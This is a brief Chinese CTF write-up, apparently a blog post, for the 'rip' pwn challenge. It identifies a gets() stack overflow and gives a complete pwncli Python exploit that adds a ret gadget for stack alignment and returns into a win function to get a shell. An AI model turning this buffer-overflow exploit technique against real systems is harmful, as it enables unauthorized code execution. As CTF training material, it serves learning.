1-rip

rip

检查保护

image

IDA分析

main

image

s

gets(s)存在栈溢出
image

fun

image

运行

image

思路

  • 利用gets函数对栈s进行栈溢出
  • 需要栈对齐

栈对齐

image

image

EXP

#!/usr/bin/env python3
from pwncli import *
from libcfind import *

cli_script()  # 使用脚本模式必须显式调用这个函数

# 你能够从gift里面取到很多东西
io = gift['io']  # process或remote对象
elf = gift["elf"]  # ELF对象,ELF("./pwn")
libc = gift.libc  # ELF对象, ELF("./libc.so.6")

filename = gift.filename  # current filename
is_debug = gift.debug  # is debug or not
is_remote = gift.remote  # is remote or not
gdb_pid = gift.gdb_pid  # gdb pid if debug

# if gift.remote:
#     libc = ELF("./libc-2.31.so")
#     gift['libc'] = libc

#栈溢出+栈对齐
pd=flat({
    0xf+0x8:p64(0x401016)+p64(0x401186)
})

sla('input',pd)

io.interactive()  # 与socket保持交互
posted @ 2023-03-07 18:12  MSTLE  阅读(49)  评论(0)    收藏  举报